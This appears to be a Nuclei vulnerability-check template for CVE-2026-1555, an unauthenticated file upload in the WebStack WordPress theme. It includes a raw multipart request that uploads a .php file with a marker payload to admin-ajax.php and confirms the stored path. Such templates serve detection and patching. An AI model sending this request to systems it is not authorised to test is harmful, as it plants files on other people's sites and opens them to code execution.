id: CVE-2026-1555

info:
  name: "WordPress WebStack Theme - Unauthenticated Arbitrary File Upload (img_upload)"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The WebStack theme for WordPress (<= 1.2024) registers the io_img_upload() handler on the
    unauthenticated AJAX action wp_ajax_nopriv_img_upload (inc/ajax.php). The handler reads
    $_FILES['files'], derives the stored file extension from the uploaded file name, and
    renames the upload into wp_upload_dir() without ever checking the extension against its
    own $extArr allow-list ("jpg","png","jpeg"). An unauthenticated attacker can therefore
    upload a .php file and obtain remote code execution. This template performs the
    unauthenticated multipart upload of a PHP file and confirms the missing file-type
    validation by matching the handler's success envelope ("status":1) together with the
    returned uploads path for the stored .php object. The fix adds server-side extension and
    MIME validation before the file is stored.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-1555&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=webstack&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1555
    cwe-id: CWE-434
  metadata:
    verified: false
  tags: cve,cve2026,wordpress,webstack,fileupload,rce,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Host}}
        Content-Type: multipart/form-data; boundary=----vedasARPSyndicate

        ------vedasARPSyndicate
        Content-Disposition: form-data; name="action"

        img_upload
        ------vedasARPSyndicate
        Content-Disposition: form-data; name="files"; filename="{{randstr}}.php"
        Content-Type: image/jpeg

        VEDAS-{{randstr_1}}-UPLOAD
        ------vedasARPSyndicate--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        condition: and
        words:
          - '"status":1'
          - '"src":'
          - '.php'
          - 'uploads'
      - type: status
        status:
          - 200